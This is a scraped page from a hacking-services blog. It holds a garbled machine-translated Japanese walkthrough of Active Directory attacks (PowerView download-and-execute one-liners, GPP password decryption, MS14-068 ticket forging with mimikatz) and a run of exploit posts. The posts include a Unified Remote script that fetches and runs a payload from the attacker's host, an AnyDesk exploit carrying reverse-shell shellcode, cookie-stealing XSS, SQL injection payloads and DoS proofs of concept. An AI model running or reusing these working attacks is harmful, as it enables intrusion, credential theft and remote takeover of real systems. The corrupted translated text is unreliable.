Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863135617

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

情報収集

オンラインの事前情報やその他の記事から収集されたさまざまな記事は投稿しません。

一般的に、どのドメインコントロールユニットであるかを知りたい場合は、イントラネットのDNSを知ることができます。一般に、ドメイン制御ユニットに複数のDNSがインストールされています。第二に、オープンポート389マシンをスキャンして取得するか、nltestコマンドを使用して表示できます。最後に、ドメイン制御がどのホストであるかを表示するさまざまなネットビュー

nltest /dclist:pentest.com

hswlie1fwxa9029.png

ここでは、PowertoolsのPowerView情報コレクションを使用しています。実際、多くの関数はネットコマンドです。ここでは、PowerShellに実装されています。

Powershell.exe -nop -noni -exec bypass 'iex（new.objectnet.webclient）.downloadstring（' https://raw.githubusercontent.com/cheetz/powertools/master/powerview/powerview.ps1 '）; get -hostip'

1idduukggyk9030.png

より詳細な参照：ドメイン浸透情報コレクションPowertools

get -netdomain-現在のユーザーのドメインの名前を取得します

get -netforest-現在のユーザーのドメインに関連付けられた森林を取得します

get -netforestdomains-現在の森林のすべてのドメインを取得します

get -netdomaincontrollers-現在のコンピューターのドメインのドメインコントローラーを取得します

get -netcurrentuser-現在の[domain \] usernameを取得します

get -netuser-すべてのユーザーオブジェクトを返し、または指定されたユーザー（ワイルドカード固有）を返します

get -netuserspns-すべてのユーザーServicePrincipalNamesを取得します

get -netous-ドメイン組織ユニットのデータを取得します

get -guidous-特定のGUIDにリンクされたドメインを見つける

Invoke -NetuserAdd-ローカルまたはドメインユーザーを追加します

get -netgroups-ドメイン内のすべての現在のグループのリストを取得します

get -netgroup-指定されたドメイングループで各ユーザーのデータを取得します

get -netlocalgroups-リモートホストまたはホストにローカルグループのリストを取得します

get -netlocalgroup-リモートホストまたはホストにローカルグループのメンバーを取得します

get -netlocalservices-リモートホストまたはホストの実行ランニングサービス/パスのリストを取得します

Invoke -NetGroupUserAdd-指定されたローカルまたはドメイングループにユーザーを追加します

Get -NetComputers-ドメイン内のすべての現在のサーバーのリストを取得します

Get -NetFileservers-現在のドメインユーザーが使用するファイルサーバーのリストを取得します

get -netshare-指定されたサーバーの共有情報を取得します

Get -NetLogGedon-指定されたサーバーに積極的にログインしてユーザーを取得します

Get -Netsesions-指定されたサーバーでアクティブなセッションを取得します

Get-NetFilesessions-Get-NetsionsとGet-NetFilesの組み合わせを返します

get -netConnections-特定のサーバーリソースへのアクティブな接続を取得（共有）

get -netfiles-サーバー上で開いたファイルを取得します

get -netprocesses-リモートサーバーでリモートプロセスと所有者を取得します

ドメインメソッドを取得

sysvol

sysvolは、ドメイン内のすべてのドメインコントローラー間でコピーされるドメインパブリックファイルサーバーのコピーを保存する共有フォルダーを指します。 Sysvolフォルダーは、ADのインストール時に作成され、GPO、スクリプト、その他の情報を保存するために使用されます。同時に、Sysvolファイルフォルダーに保存されている情報は、ドメイン内のすべてのDCにコピーされます。

グループポリシーの設定を使用してグループポリシーを構成してユーザーローカル管理者パスワードを変更する

開始- 管理ツール - グループポリシー管理- このドメインでGPOを作成する

設定- 右クリック - 編集- ユーザー構成- 設定- コントロールパネル設定- ローカルユーザーとグループ

ycjhdj3o0dr9031.png

管理者のパスワードを更新します：

53vymxi50f59032.png

ドメインサーバーは通常、このフォルダーを共有するか、現在のマシンの下でXMLファイルを検索するには、groups.xml、scheduledtasks.xml、services.xml、dataSources.xmlの資格情報が含まれます。

マッピングドライバー（drives.xml）

DataSources.xml）

プリンター構成（printers.xml）

サービスを作成/更新する（services.xml）

スケジュールされたタスク（ScheduleDtasks.xml）

qyztvunrfbt9033.png

認証されたユーザー（信頼できるドメインのドメインユーザーまたはユーザー）がSYSVOLに許可を読み取ったため

\ 192.168.50.205Sysvolpentest.comPolicies {84017B64-2662-4BA3-A06C-FB953CCBE92D} userPreferencesGroups.xml

32fs5khdhua9034.png

AES-256ビットで暗号化されています

cpassword='fucmhaw9i2pdyrzebms54ivtphx3ni44qrkwtfbtxoa'

AES秘密キーを使用してGPPパスワードを復号化できます

Microsoftは、MSDNでAES暗号化キー（共有キー）をリリースします

https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx

PowerShellのスクリプトを使用した復号化

https://github.com/powershellmafia/powersploit/blob/master/exfiltration/get-gpppassword.ps1

akwt2ktm2119035.png

Sysvolでパスワードと攻撃GPPを見つける（グループポリシーの設定）

Windows Server 2008 R2：4マネジメントSYSVOLフォルダー

sysvolでパスワードを見つけて、グループポリシーの設定を活用してください

Sysvolを使用してグループポリシーに保存されたパスワードを復元します

守る：

GPOを管理するために使用されるコンピューターにKB2962486をインストールして、新しい資格情報がグループポリシーの設定に配置されないようにします。

すべての人にアクセス権を設定します

グループポリシーでは使用されていないドメイン制御パスワード

共有フォルダーSYSVOLのアクセス権限を設定します

既存のGPPにパスワードを含むXMLファイルを削除します。

ms14-068 kerberos

Kerberosの名前は、西部神話の地獄の門を守っている3頭の犬の名前です。この名前を使用する唯一の理由は、Kerberosが取引を完了するために3つの当事者の共同参加を必要とすることです。

Kerberosは、Windows Active Directoryで使用されるクライアント/サーバー認証プロトコルであり、両当事者が通信するための双方向ID認証を提供します。サービスを相互に認証または要求するエンティティは、元本（科目）と呼ばれます。参加している中央サーバーは、略してキー配布センターKDCと呼ばれます）。 KDCは、認証サーバー（AS）とチケット付与サーバー（TGS）の2つのサービスで構成されています。 Windowsドメイン環境では、認証サービスとチケット助成金サービスは、任意の任意のドメイン制御サーバーで同時に実行できます。

その他の読み物：

Kerberosプロトコルの乱用

Kerberosの仕組み

最も基本的な問題は、許可属性証明書を偽造できることです。許可属性証明書は、アカウントのユーザー名、ID、グループメンバー、その他の情報を保存します。ドメインユーザーの基本情報を習得することにより、ドメイン管理者の権限を取得できます。

攻撃者は、有効なKerberos TGT認証チケットを効果的に書き換えて、ドメイン管理者（およびエンタープライズ管理者）になることができます

https://github.com/bidoord/pykek/archive/master.zip

https://github.com/gentilkiwi/mimikatz/releases/

apt-getインストールkrb5ユーザー

apt-get install rdate

MS14-068プロセス：

標準ユーザーとしてPACなしでKerberosTGT認定チケットをリクエストし、DC返信TGT

偽のPACはキーなしで生成されるため、生成されたPACは、HMAC_MD5「署名」の代わりにMD5アルゴリズムを使用してドメインユーザーのパスワードデータを使用します。

TGSサービスチケットリクエストの一部として、偽のPACは、PACのないTGTをDCに送信するための許可されたデータとして使用されます。

DCはこれに混乱しているように見えるため、ユーザーが送信したPACフリーTGTを廃止し、新しいTGTを作成し、偽のPACを独自の承認データに挿入し、このTGTをユーザーに送信します。

この偽のPAC TGTにより、ユーザーは脆弱なDCのドメイン管理者になることができます。

whoami /user

python ms14-068.py -u domainユーザー@domain name -pパスワード-sユーザーsid -dドメインホスト

キャッシュされたチケットを生成し、現在のカリの下でそれらを生成してから、ドメインユーザーマシンに入れます。

soj2erkrku29036.png

Mimikatzを使用して、TGT_DOMOMAINUSER@SERVER.COM.CCACHEを作成し、メモリしてキャッシュ証明書を作成するために取得しました。

mimikatz.exe 'kerberos:3360ptc c:tgt_darthsidious@pentest.com.ccache' exit

sy4dtmkyyak9037.png

KLISTビュー

正味使用k: \ pentest.comc $

ディレクトリK：

dz3ulpxsu0c9038.png

関連情報：

KerberosのツールキットPykek

MS14-068の脆弱性の詳細な解釈

Kerberosのセキュリティの脆弱性

守る：

インストールKB3011780のインストールを確認してください

SPNスキャン

Kerberoastは、ターゲットシステムにパケットを送信せずに、Active Directoryから通常のユーザーとしてサービスアカウントの資格情報を抽出する効果的な方法として使用できます。

SPNは、Kerberos認証を使用するネットワーク上のサービスのユニークな識別子です。サービスクラス、ホスト名、ポートで構成されています。 Kerberos認証を使用したネットワークでは、Networkservice、LocalSystem、ユーザーアカウントなどの組み込みコンピューターアカウントの下にサーバーにSPNを登録する必要があります。組み込みアカウントの場合、SPNは自動的に登録されます。ただし、Domainユーザーアカウントでサービスを実行する場合は、使用するアカウントのSPNを手動で登録する必要があります。

SPNスキャンの主な利点は、SPNスキャンがサービスポートを確認するためにネットワーク上の各IPに接続する必要がないことです。 SPNはLDAPクエリを介してサービスを実行します。 SPNクエリはKerberosのチケット動作の一部であるため、SPNスキャンを検出することは困難です。

Powershell -exec bypass -command 'iex（new-object net.webclient）.downloadString（' https://raw.githubusercontent.com/pyrotek3/powershell-ad-recon/master/discover-psmssqlservers '）;発見-PSMSSQLSERVERS'

qxfwpq22cvh9039.png

SQL Serverスクリプトをスキャンします

import-module .get-sqlserveraccess.psm1

PS C:GET-SQLSERVER-ESCALATE-CHECKACCESS

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[*] Start Time: 04/01/2014 10:00:00

[*] domain: mydomain.com

[*] DC: DC1.MYDOMAIN.COM [*] DCのSQL ServerインスタンスのリストをMyDomainMyUserとして取得.

[*] LDAPで見つかった5 SQL Serverインスタンス。

[*] MyDomainMyUserとして5つのSQL Serverインスタンスにログインしようとしています.

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[ - ]失敗-server1.mydomain.comはpingに応答していません

[ - ]失敗-server2.mydomain.com（192.168.1.102）が増えましたが、認証/クエリに失敗しました

[+]成功！ -server3.mydomain.com、1433（192.168.1.103）-sysadmin: no -svcisda: no

[+]成功！ -server3.mydomain.comsqlexpress（192.168.1.103）-sysadmin: no -svcisda: no

[+]成功！ -server4.mydomain.comAppdata（192.168.1.104）-Sysadmin:はい-SVCISDA:はい

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[*] 5つのSQLサーバーインスタンスのうち3つにアクセスできます。

[*]終了時間: 04/01/2014 10:02:00

[*]合計時間: 00:02:00

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

LDAP経由で広告からSQLサーバーのリストを取得し、現在のドメインユーザーで各SQLサーバーにログインしようとします。これらはCSVファイルに出力されます。

PS C:GET -SQLSERVERACCESS -SHOWSUM | Export-CSV C:TEMPSQL-SERVER-EXCESSIVE-PRIVS.CSV

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[*] Start Time: 04/01/2014 10:00:00

[*] domain: mydomain.com

[*] dc: dc1.mydomain.com

[*] MyDomainMyUserとしてDCからSQL Serverインスタンスのリストを取得.

[*] LDAPで見つかった5 SQL Serverインスタンス。

[*] MyDomainMyUserとして5つのSQL Serverインスタンスにログインしようとしています.

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[ - ]失敗-server1.mydomain.comはpingに応答していません

[ - ]失敗-server2.mydomain.com（192.168.1.102）が増えましたが、認証/クエリに失敗しました

[+]成功！ -server3.mydomain.com、1433（192.168.1.103）-sysadmin: no -svcisda: no

[+]成功！ -server3.mydomain.comsqlexpress（192.168.1.103）-sysadmin: no -svcisda: no

[+]成功！ -server4.mydomain.comAppdata（192.168.1.104）-Sysadmin:はい-SVCISDA:はい

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[*] 5つのSQLサーバーインスタンスのうち3つにアクセスできます。

[*]終了時間: 04/01/2014 10:02:00

[*]合計時間: 00:02:00

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

より悪いパスワード推測

get -sqlserveraccess -sqluser sa -sqlpass 123qwe！@＃

機密データを見つけます

get -sqlServerAccess- query 'マスターから「データベース」として名前を選択します。

その他の参照：

非スキャンSQLサーバーの発見

関連情報：

SPNスキャン

SQLServerのスクリプトをスキャンします

Kerberosのゴールデンチケット

https://Adsecurity.org/?p=1640

ドメインサービスアカウントの割れ練習

Kerberos認定原則

Windowsセキュリティ認証メカニズムntlm＆kerberosを深く理解する

Kerberos認証プロセス

itezdwplsr29040.png

パスワードはNTLMハッシュに変換され、タイムスタンプはハッシュを使用して暗号化され、認証チケット（TGT）リクエスト（AS-REQ）で認証券としてKDCに送信されます。

ドメインコントローラー（KDC）は、ユーザー情報（ログイン制限、グループメンバーシップなど）をチェックし、グラントチケット（TGT）へのチケットを作成します。

TGTは暗号化され、署名され、ユーザーに配信されます（AS-REP）。ドメイン内のKerberosサービス（KRBTGT）のみがTGTデータをオンにして読み取ることができます。

ユーザーはそうです

HireHackking 
# Exploit Title: Unified Remote 3.9.0.2463 - Remote Code Execution
# Author: H4rk3nz0
# Vendor Homepage: https://www.unifiedremote.com/
# Software Link: https://www.unifiedremote.com/download
# Tested on: Windows 10, 10.0.19042 Build 19042

#!/usr/bin/python

import socket
import sys
import os
from time import sleep

target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

port = 9512

# Packet Data Declarations; Windows, Space and Enter have non-standard values

open = ("00000085000108416374696f6e00000550617373776f72640038653831333362332d61313862"
"2d343361662d613763642d6530346637343738323763650005506c6174666f726d00616e64726f696400"
"0852657175657374000005536f7572636500616e64726f69642d64373038653134653532383463623831"
"000356657273696f6e000000000a00").decode("hex")

open_fin = ("000000c8000108416374696f6e0001024361706162696c69746965730004416374696f6e7"
"3000104456e6372797074696f6e3200010446617374000004477269640001044c6f6164696e6700010453"
"796e630001000550617373776f72640064363334633164636664656238373335363038613461313034646"
"5643430373664653736366464363134343336313938303961643766333538353864343439320008526571"
"75657374000105536f7572636500616e64726f69642d643730386531346535323834636238310000"
).decode("hex")

one = ("000000d2000108416374696f6e00070549440052656c6d746563682e4b6579626f61726400024"
"c61796f75740006436f6e74726f6c73000200024f6e416374696f6e0002457874726173000656616c756"
"5730002000556616c756500").decode("hex")

two = ("00000000054e616d6500746f67676c6500000854797065000800000008526571756573740007"
"0252756e0002457874726173000656616c7565730002000556616c756500").decode("hex")

three = ("00000000054e616d6500746f67676c65000005536f7572636500616e64726f69642d643730"
"386531346535323834636238310000").decode("hex")

win_key = ("000000d8000108416374696f6e00070549440052656c6d746563682e4b6579626f61726"
"400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e000245787472617300065"
"6616c7565730002000556616c7565004c57494e00000000054e616d6500746f67676c6500000854797"
"0650008000000085265717565737400070252756e0002457874726173000656616c756573000200055"
"6616c7565004c57494e00000000054e616d6500746f67676c65000005536f7572636500616e64726f6"
"9642d643730386531346535323834636238310000").decode("hex")

ret_key = ("000000dc000108416374696f6e00070549440052656c6d746563682e4b6579626f6172"
"6400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e0002457874726173000"
"656616c7565730002000556616c75650052455455524e00000000054e616d6500746f67676c650000"
"08547970650008000000085265717565737400070252756e0002457874726173000656616c7565730"
"002000556616c75650052455455524e00000000054e616d6500746f67676c65000005536f75726365"
"00616e64726f69642d643730386531346535323834636238310000").decode("hex")

space_key = ("000000da000108416374696f6e00070549440052656c6d746563682e4b6579626f6"
"1726400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e000245787472617"
"3000656616c7565730002000556616c756500535041434500000000054e616d6500746f67676c650"
"00008547970650008000000085265717565737400070252756e0002457874726173000656616c756"
"5730002000556616c756500535041434500000000054e616d6500746f67676c65000005536f75726"
"36500616e64726f69642d643730386531346535323834636238310000").decode("hex")

# ASCII to Hex Conversion Set
characters={
	"A":"41","B":"42","C":"43","D":"44","E":"45","F":"46","G":"47","H":"48","I":"49","J":"4a","K":"4b","L":"4c","M":"4d","N":"4e",
	"O":"4f","P":"50","Q":"51","R":"52","S":"53","T":"54","U":"55","V":"56","W":"57","X":"58","Y":"59","Z":"5a",
	"a":"61","b":"62","c":"63","d":"64","e":"65","f":"66","g":"67","h":"68","i":"69","j":"6a","k":"6b","l":"6c","m":"6d","n":"6e",
	"o":"6f","p":"70","q":"71","r":"72","s":"73","t":"74","u":"75","v":"76","w":"77","x":"78","y":"79","z":"7a",
	"1":"31","2":"32","3":"33","4":"34","5":"35","6":"36","7":"37","8":"38","9":"39","0":"30",
	"+":"2b","=":"3d","/":"2f","_":"5f","<":"3c",
	">":"3e","[":"5b","]":"5d","!":"21","@":"40","#":"23","$":"24","%":"25","^":"5e","&":"26","*":"2a",
	"(":"28",")":"29","-":"2d","'":"27",'"':"22",":":"3a",";":"3b","?":"3f","`":"60","~":"7e",
	"\\":"5c","|":"7c","{":"7b","}":"7d",",":"2c",".":"2e"}

# User Specified arguments
try:
	rhost = sys.argv[1]
	lhost = sys.argv[2]
	payload = sys.argv[3]
except:
	print("Usage: python " + sys.argv[0] + " <target-ip> <local-http-ip> <payload-name>")


# Send Windows Key Input Twice
def SendWin():
	target.sendto(win_key,(rhost, port))
	target.sendto(win_key,(rhost, port))
	sleep(0.4)


# Send Enter/Return Key Input
def SendReturn():
	target.sendto(ret_key,(rhost, port))
	sleep(0.4)

# Send String Characters
def SendString(string, rhost):
	for char in string:
		if char == " ":
			target.sendto(space_key,(rhost, port))
			sleep(0.02)
		else:
			convert = characters[char].decode("hex")
			target.sendto(one + convert + two + convert + three,(rhost, port))
			sleep(0.02)

# Main Execution
def main():
	target.connect((rhost,port))
	sleep(0.5)
	print("[+] Connecting to target...")
	target.sendto(open,(rhost,port)) 	# Initialize Connection to Unified
	sleep(0.02)
	target.sendto(open_fin,(rhost,port)) 	# Finish Initializing Connection
	print("[+] Popping Start Menu")
	sleep(0.02)
	SendWin()
	sleep(0.3)
	print("[+] Opening CMD")
	SendString("cmd.exe", rhost)
	sleep(0.3)
	SendReturn()
	sleep(0.3)
	print("[+] *Super Fast Hacker Typing*")
	SendString("certutil.exe -f -urlcache http://" + lhost + "/" + payload + " C:\\Windows\\Temp\\" + payload, rhost) # Retrieve HTTP hosted payload
	sleep(0.3)
	print("[+] Downloading Payload")
	SendReturn()
	sleep(3)
	SendString("C:\\Windows\\Temp\\" + payload, rhost) # Execute Payload
	sleep(0.3)
	SendReturn()
	print("[+] Done! Check listener?")
	target.close()

if __name__=="__main__":
	main()
HireHackking 
# Exploit Title: Softros LAN Messenger 9.6.4 - 'SoftrosSpellChecker' Unquoted Service Path
# Discovery by: Victor Mondragón
# Discovery Date: 23-02-2021
# Vendor Homepage: https://www.softros.com/
# Software Links : https://download.softros.com/SoftrosLANMessengerSetup.exe
# Tested Version: 9.6.4
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Pro 64 bits

# Step to discover Unquoted Service Path: 
 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
Softros Spell Checker           SoftrosSpellChecker     C:\Program Files (x86)\Softros Systems\Softros Messenger\Spell Checker\SoftrosSpellChecker.exe      Auto

C:\>sc qc SoftrosSpellChecker
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SoftrosSpellChecker
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Softros Systems\Softros Messenger\Spell Checker\SoftrosSpellChecker.exe
        GRUPO_ORDEN_CARGA  : System Reserved
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Softros Spell Checker
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
HireHackking 
# Exploit Title: Product Key Explorer 4.2.7 - 'multiple' Denial of Service (PoC)
# Exploit Author : Sinem Şahin
# Exploit Date: 2021-02-23
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/productkeyexplorer_setup.exe
# Version: 4.2.7
# Tested on: Windows 7 x64


# Steps: 
1- Run the python script. (exploit.py)
2- Open payload.txt and copy content to clipboard.
3- Run 'Product Key Explorer 4.2.7'. 
4- Register -> Enter Registration Code
5- Paste clipboard into the "Key" or "Name".
6- Click on OK.
7- Crashed.

---> exploit.py <--

#!/usr/bin/env python
buffer = "\x41" * 300

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print "File created!"
except:
    print "File cannot be created!!"
HireHackking 
# Exploit Title: SpotAuditor 5.3.5  - 'multiple' Denial Of Service (PoC)
# Exploit Author : Sinem Şahin
# Exploit Date: 2021-02-10
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe
# Tested on: Windows 7 x64
# Version: 5.3.5


# Steps: 
 1- Run the python script. (exploit.py)
 2- Open payload.txt and copy content to clipboard.
 3- Run 'SpotAuditor 5.3.5'.
 4- Register -> Enter Registration Code
 5- Paste clipboard into the "Name" or "Key".
 6- Click on OK.
 7- Crashed.

---> exploit.py <--

#!/usr/bin/env python
buffer = "\x41" * 300

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print"File okey!!"
except:
    print "File is not created."
HireHackking 
# Exploit Title: Local Services Search Engine Management System (LSSMES) 1.0 - 'name' Persistent Cross-Site Scripting (XSS)
# Date: 2021-03-03
# Exploit Author: Tushar Vaidya
# Vendor Homepage: https://phpgurukul.com/local-services-search-engine-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10867
# Version: v1.0
# Tested on: Ubuntu

*Steps to Reproduce:*
1) Login with Admin Credentials and click on the *Person List* button.
2) Click on the *Add Person* button.
3) Now add the 'Ba1man' in the input field of *Name* and 'Ba2man' in the input field of *Address *then intercept it with Burp Suite.
4) Now add the following payload input field of *Name  & Address*.

Payload 1:  ba1man"></td><script>alert(document.cookie)</script>
Payload 2:  ba2man"></td><script>alert(document.URL)</script>

4) Click On Add
5) Now go to http://localhost/LSSMES/lssems/view-category-detail.php?viewid=3
6) XSS payload is triggered.
7) Secondly, go to http://localhost/LSSMES/lssems/single-person-detail.php?viewid=25
8) Again XSS  payload is triggered

*Proof-of-concept:*
1) Vulnerable Form Request:

POST /LSSMES/lssems/admin/add-person.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101
Firefox/86.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------366892106534365372313887502624
Content-Length: 1110
Origin: http:// localhost
Connection: close
Referer: http:// localhost /LSSMES/lssems/admin/add-person.php
Cookie: PHPSESSID=rinoskt58u1hpa8s6i7di53rbc
Upgrade-Insecure-Requests: 1
-----------------------------366892106534365372313887502624
Content-Disposition: form-data; name="category"
3
-----------------------------366892106534365372313887502624
Content-Disposition: form-data; name="name"

*ba1man"></td><script>alert(document.cookie)</script>*

-----------------------------366892106534365372313887502624
Content-Disposition: form-data; name="propic"; filename="mime_shell.php.gif"
Content-Type: image/gif
GIF8;
-----------------------------366892106534365372313887502624
Content-Disposition: form-data; name="mobilenumber"
8524697125
-----------------------------366892106534365372313887502624
Content-Disposition: form-data; name="address"

*ba1man"></td><script>alert(document.URL)</script>*

-----------------------------366892106534365372313887502624
Content-Disposition: form-data; name="city"

-----------------------------366892106534365372313887502624
Content-Disposition: form-data; name="submit"
-----------------------------366892106534365372313887502624--


2.1) Response:
Go to http://localhost/LSSMES/lssems/view-category-detail.php?viewid=3
Note: XSS from name parameter


2.2) Response:
Go to http://localhost/LSSMES/lssems/single-person-detail.php?viewid=25
Note: XSS from address parameter
HireHackking 
# Exploit Title: LayerBB 1.1.4 - 'search_query' SQL Injection
# Date: 2021-02-19
# Exploit Author: Görkem Haşin
# Version: 1.1.4
# Tested on: Linux/Windows

# POST /search.php HTTP/1.1
# Host: Target

Payload: search_query=Lffd') AND 8460=(SELECT (CASE WHEN (8460=8460) THEN 8460 ELSE (SELECT 1560 UNION SELECT 2122) END))-- -&search_submit=Search
HireHackking

###脆弱性の説明

この脆弱性により、攻撃者は「Cookie: uid=admin」を変更して、このデバイスのplantext管理者資格情報を返すことにより、特定のDVRのコントロールパネルにアクセスできます。

###脆弱性の悪用

1.Uuse code

Curl 'http://:/device.rsp？opt=usercmd=list' -h 'cookie: uid=admin'

2.POC利用

https://github.com/ezelf/cve-2018-9995_dvr_credentials

git clone https://github.com/ezelf/cve-2018-9995_dvr_credentials.git

CD CVE-2018-9995_DVR_CREDENTIALS

PIPインストール-R要件。txt

byjuhurtit39022.png

roreffqxbmf9023.png

###キーワード検索

1。Zoomye:KeyWord: "/login.rsp '

ml23vf2ib5y9024.png

2.Shodan:KeyWord:HTML: '/login.rsp'

keyword:'server:gnu rsp/1.0 '

iekdogs3dqm9025.png

vuig5usnmr19026.png

3.GOOGLE:KEYWORD:INTITLE:'DVR LOGIN '

azoq1zh50af9027.png

###バッチ検証

DVRシリーズカメラバッチ検出方法3:python CVE-2018-9995_Check.py HOST.TXT

host.txtの内容は、8.8.8.8:8080またはwww.baidu.comです。スクリプトが実行されると、DVRシリーズカメラを使用してホストがresult.txtファイルに保存されます。

＃著者3360hzkey

TPとしてテーブルプリントをインポートします

sysをインポートします

リクエストをインポートします

Reをインポートします

クラスColors:

green='\ 033 [32m'

red='\ 033 [0; 31m'

blue='\ 033 [*]'

orange='\ 033 [33m'

def check_host（host）:

try:

print（colors.orange+'チェック:％s'％ホスト）

url='http://' + host + '/login.rsp'

rr=requests.get（url、timeout=30、aopt_redirects=false）

rr.status_code==200およびre.findall（ 'gnu rsp/1.0'、rr.headers ['server']）:の場合

print（Colors.Green+'[*] CVE-2018-9995検出:URLは％S'％URLです）

ff=open（ 'result.txt'、 'a+'）

ff.write（ '％s \ n'％（url））

:を除く

合格

__name__=='__main __' :の場合

Len（Sys.Argv）2:の場合

print（colors.blue+'' 'usage: python3 cve-2018-9995.py host.txt

host.txt:127.0.0.133608080またはbaidu.com

'' '）

Len（Sys.Argv）=2:の場合

file=open（sys.argv [1]）

file:のiの場合

i=i.strip（）

check_host（i）

file.close（）

tnopgm1udzc9028.png

HireHackking 
# Exploit Title: Local Services Search Engine Management System (LSSMES) 1.0 - Blind & Error based SQL injection (Authenticated)
# Date: 2021-03-02
# Exploit Author: Tushar Vaidya
# Vendor Homepage: https://phpgurukul.com/local-services-search-engine-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10867
# Version: v1.0
# Tested on: Ubuntu
# Detail walkthrough: https://medium.com/@tusharvaidya16/authenticated-blind-error-based-sql-injection-on-local-services-search-engine-management-system-3e99779f0850

*Steps to Reproduce:*
1) Login with Admin Credentials and click on the *Service Category* button.
2) Click on the *Manage Category* button.
3) Now add the double quote ( " ) in the URL after *editid parameter*
4) At that time we observe that the application is misbehaving now capture this request from the burp suite and save it into an SQL text file.
4) Now fire up the following command into SQLMAP

CMD: sqlmap -r sql_file.txt --data="editid=1" --curent-db --level 5 --risk 3

4) We got a database.

*Below request from sql_file.txt*

GET /LSSMES/lssems/admin/edit-category-detail.php?editid=* HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101
Firefox/86.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://lcoalhost/LSSMES/lssems/admin/manage-category.php
Cookie: PHPSESSID=rinoskt58u1hpa8s6i7di53rbc
Upgrade-Insecure-Requests: 1
HireHackking 
# Exploit Title: AnyDesk 5.5.2 - Remote Code Execution
# Date: 09/06/20
# Exploit Author: scryh
# Vendor Homepage: https://anydesk.com/en
# Version: 5.5.2
# Tested on: Linux
# Walkthrough: https://devel0pment.de/?p=1881

#!/usr/bin/env python
import struct
import socket
import sys

ip = '192.168.x.x'
port = 50001

def gen_discover_packet(ad_id, os, hn, user, inf, func):
  d  = chr(0x3e)+chr(0xd1)+chr(0x1)
  d += struct.pack('>I', ad_id)
  d += struct.pack('>I', 0)
  d += chr(0x2)+chr(os)
  d += struct.pack('>I', len(hn)) + hn
  d += struct.pack('>I', len(user)) + user
  d += struct.pack('>I', 0)
  d += struct.pack('>I', len(inf)) + inf
  d += chr(0)
  d += struct.pack('>I', len(func)) + func
  d += chr(0x2)+chr(0xc3)+chr(0x51)
  return d

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.y.y LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode
shellcode =  b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\xcb\x46\x40"
shellcode += b"\x6c\xed\xa4\xe0\xfb\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\xa1\x6f\x18\xf5\x87"
shellcode += b"\xa6\xbf\x91\xca\x18\x4f\x69\xa5\x33\xa8\x42"
shellcode += b"\xc9\x46\x41\xd1\x2d\x0c\x96\xf8\x9a\x0e\xc9"
shellcode += b"\x8a\x87\xb4\xba\x91\xe1\x1e\x4f\x69\x87\xa7"
shellcode += b"\xbe\xb3\x34\x88\x2a\x4d\xb5\xab\xe5\x8e\x3d"
shellcode += b"\x2c\x7b\x34\x74\xec\x5b\xd4\xa9\x2f\x2e\x43"
shellcode += b"\x9e\xcc\xe0\xa8\x83\xcf\xa7\x3e\xba\xec\x69"
shellcode += b"\x1d\xc4\x43\x40\x6c\xed\xa4\xe0\xfb"

print('sending payload ...')
p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%18x%165$ln'+shellcode, '\x85\xfe%18472249x%93$ln', 'ad', 'main')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(p, (ip, port))
s.close()
print('reverse shell should connect within 5 seconds')
HireHackking 
# Exploit Title: Online Ordering System 1.0 - Arbitrary File Upload to Remote Code Execution
# Date: 04/03/2021
# Exploit Author: Suraj Bhosale
# Vendor Homepage: https://www.sourcecodester.com
